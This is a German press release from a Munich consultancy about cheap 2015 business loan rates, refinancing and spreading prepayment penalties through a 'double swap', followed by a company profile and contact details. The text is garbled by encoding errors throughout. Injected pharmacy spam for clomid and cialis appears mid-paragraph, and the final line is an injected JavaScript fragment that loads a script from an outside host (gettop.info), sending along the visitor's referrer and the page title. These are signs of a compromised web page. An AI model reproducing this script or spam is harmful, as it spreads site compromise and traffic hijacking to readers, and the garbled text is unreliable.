Mit der richtigen Kredit-Strategie 2015 kA�nnen Unternehmen bei der Finanzierung ihres Wachstums bereits jetzt von diesen TiefststA�nden profitieren.
1. Zins-Cockpit 2015: Zinstief als Chance
“Erst der Konditionsvergleich mit dem S&P Zins-Cockpit hat vielen unserer Kunden deutlich gemacht, welche erheblichen Einsparungen bei den laufenden Zinskosten mA�glich sind”, sagen die Mittelstandsexperten der Schulz & Cie. Consulting GmbH mit Sitz in MA?nchen und London.
Das Beratungshaus S&P begleitet mittelstA�ndische Unternehmen bei der Optimierung der Kapitalstruktur und Senkung ihrer Kreditkosten.
Das S&P Team empfiehlt den eigenen Zins mit dem fairen Zinsen des S&P Zins-Cockpits zu vergleichen. “Bereits bei einem laufenden Betriebsmittelkredit von 10 Mio. EUR fA?hrt eine intelligente Umschuldung zu einer Zinsersparnis von mind. 20.000,- EUR pro Monat. Das sind immerhin A?ber 200.000,- EUR mehr Gewinn pro Jahr”, so die Mittelstandsexperten von Schulz & Partner.
Mit dem S&P Zins-Cockpit: Kreditstrategie 2015 erhalten die Leser nun auch einen aktuellen Vergleich der Kreditzinsen mit der Zinsentwicklung von Corporates in der Eurozone. Zudem werden die wichtigsten Kreditkonditionen fA?r den deutschen sowie A�sterreichischen Bankenmarkt im Vergleich zur Eurozone dargestellt.
2. Niedrige Zinsen ohne VorfA�lligkeitsentschA�digung – wie geht das?
Umschuldungen in ein gA?nstigeres Zinsniveau scheitern oftmals an den hohen VorfA�lligkeitsentschA�digungen und den damit verbundenen Belastungen fA?r die LiquiditA�t des Unternehmens. cheap clomid online australia
“Die Regeln fA?r die Berechnung der VorfA�lligkeitsentgelte sind bei Investitionskrediten klar gefasst. Die EntschA�digung entspricht in etwa dem realen Zinsausfall, der der Bank durch die AuflA�sung entsteht”, so Andreas Leitner, Schulz & Cie. Consulting GmbH.
Sparen lA�sst sich hier aber auch: durch einen sog. Doppelswap. Dabei wird die VorfA�lligkeitsentschA�digung nicht als einmalige Summe bezahlt, sondern auf den gA?nstigeren neuen Kredit umgelegt – und damit allmA�hlich abgetragen. “Das Unternehmen sichert sich seine LiquiditA�t und kann sofort von niedrigeren Zinsen profitieren”, sagt Achim Schulz, Schulz & Partner mit Sitz in MA?nchen und London.
3. Zins-Cockpit: Auswahl der richtigen Zins-Strategie 2015
Das S&P Zins-Cockpit zeigt anhand der Zinsentwicklung bis zum 4. Quartal 2014 folgende Trends:
> Die Zinsen sind auf dem Tiefststand. Gerade im NeugeschA�ft wird der Mittelstand mit Kreditzinsen zwischen 1,90 % und 2,50 % p.a. umworben.
> Die Top-Zinsen fA?r Unternehmen und Firmen mit bester BonitA�t bewegen sich sogar nochmals deutlich niedriger, zwischen 1,10 % und 1,50 % p.a.
“MittelstA�ndler sollten schnell ihre Finanzierungsstruktur A?berprA?fen, bei den aktuellen Niedrigzinsen kann mit jedem Tag gespart werden”, sagt Achim Schulz, GeschA�ftsfA?hrer des Beratungsunternehmens Schulz & Partner mit BA?ros in MA?nchen und London.
> Mit der richtigen Kredit-Strategie 2015 kA�nnen Unternehmen bei der Finanzierung ihres Wachstums bereits jetzt von diesen TiefststA�nden profitieren.
> Die laufende Finanzierung ist noch nicht fA�llig? Auch hierfA?r gibt es LA�sungen. Mit einer intelligenten Umfinanzierung kann auch fA?r laufende Darlehen -bereits heute- das niedrige Zinsniveau gesichert werden. average monthly cost of cialis, average monthly cost of cialis, average monthly cost of cialis, average monthly cost of cialis, average monthly cost of cialis, average monthly cost of cialis.
> Vor allem beim Betriebsmittelkredit lA�sst sich sparen. “Die Kreditkonditionen der Banken unterscheiden sich deutlich. Das Zinsniveau liegt zwischen nur einem und rund 13 Prozent. Es lohnt sich fA?r fast jedes Unternehmen nachzuverhandeln”, so Andreas Leitner, Consultant bei Schulz & Partner.
A?ber:
Schulz & Partner GmbH – LA�sungen fA?r Mittelstand und Banken
Herr Achim Schulz
Graf-zu-Castell-Str. 1
81829 MA?nchen
Deutschland
fon ..: 089/452 429 70 101
fax ..: 089/452 429 70 201
web ..: http://www.sp-partners.de
email : a.schulz@sp-partners.de
Schulz & Partner bietet LA�sungen Mittelstand und fA?r Banken an.
In dem Experten-Netzwerk arbeiten Spezialisten mit langjA�hriger Berufserfahrung aus unterschiedlichen Dienstleistungs- und Industriesparten.
Zu unseren Beratungsschwerpunkten gehA�ren im Mittelstand:
1. Finanzierungsberatung
– Erstellen von Bankberichten fA?r die Kapitalsuche
– Erstellen von Fact-Sheets fA?r die Finanzierung von Immobilienprojekten
– Kapitalsuche und Kapitalbeschaffung
– Begleitung der Bankverhandlungen
– Entwickeln von LA�sungen fA?r die LiquiditA�tsbeschaffung
– Umsetzungsbegleitung bei Projektfinanzierungen
– DurchfA?hrung von LiquiditA�ts-Checks fA?r mehr Transparenz
– Optimierung des Einkaufs- und Forderungsmanagement
– Optimierung der Auftragsabwicklung und des Einnahmen-Managements
– DurchfA?hrung von Rating-Checks fA?r gA?nstigere Kreditzinsen
– DurchfA?hrung von Bank-Checks fA?r weniger Banksicherheiten und GeschA�ftsfA?hrer-BA?rgschaften
2. Gutachter-TA�tigkeit
– Rating-Analyse und Rating-Optimierung fA?r gA?nstige Zinsen
– Neustrukturierung der Passivseite und Umfinanzierungen
– Finanzplanung und LiquiditA�tsbedarfs-Ermittlung
– Unternehmensbewertung gemA�AY IDW-Standard S1
– Restrukturierungs- und Sanierungsgutachten gemA�AY IDW-Standard S6
– Bewertung immaterieller VermA�gensgegenstA�nde gemA�AY IDW-Standard S5
3. Rechnungswesen und Controlling
– Produkterfolgsrechnung
– Kalkulation und Deckungsbeitragsrechnung
– Wachstumsorientierte Steuerungsinstrumente
– Finanz- und LiquiditA�tsplanung
– Working Capital-Analyse und Steuerung
– Erstellen von Bankberichten fA?r Kreditentscheidungen
– Business- und Ratingplanungen
4. Personalentwicklung
– Ziel- und FA?hrungssystem
– Aufbau einer transparenten FA?hrungsorganisation
– Anwendung wirksamer FA?hrungsinstrumente
– EinfA?hrung eines Zielsystems mit SMART
– System zur regelmA�AYigen Mitarbeiterbeurteilung
– Neue Systeme zur Entlohnung und Mitarbeiterbeteiligung
– Personalsuche und Personalauswahl fA?r Fach- und FA?hrungskrA�fte
– Nachfolgersuche
5. Vertrieb mit System
– Aufbau einer straffen Vertriebsorganisation
– Auswahl von passenden VertriebskanA�len
– Schulung der Vertriebsmitarbeiter fA?r erfolgreiche
VerkaufsgesprA�che
– EinfA?hrung von FA?hrungsinstrumenten zur Steuerung
des Vertriebs
6. Management-Begleitung
– UnterstA?tzung bei der Unternehmens-Steuerung
– Vorbereitung von Bankverhandlungen
– Management auf Zeit und Umsetzungsbegleitung
– Unternehmensbewertung
– Nachfolge-Suche und gesellschaftsrechtliche Regelungen
– Begleitung und Organisation des Unternehmensverkaufs
– Organisation und TA�tigkeit als Beirat
Pressekontakt:
Schulz & Partner GmbH
Herr Achim Schulz
Graf-zu-Castell-Str. 1
81829 MA?nchen
fon ..: 089/4524 2970 104
web ..: http://www.sp-partners.de
email : contact@sp-partners.de
s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;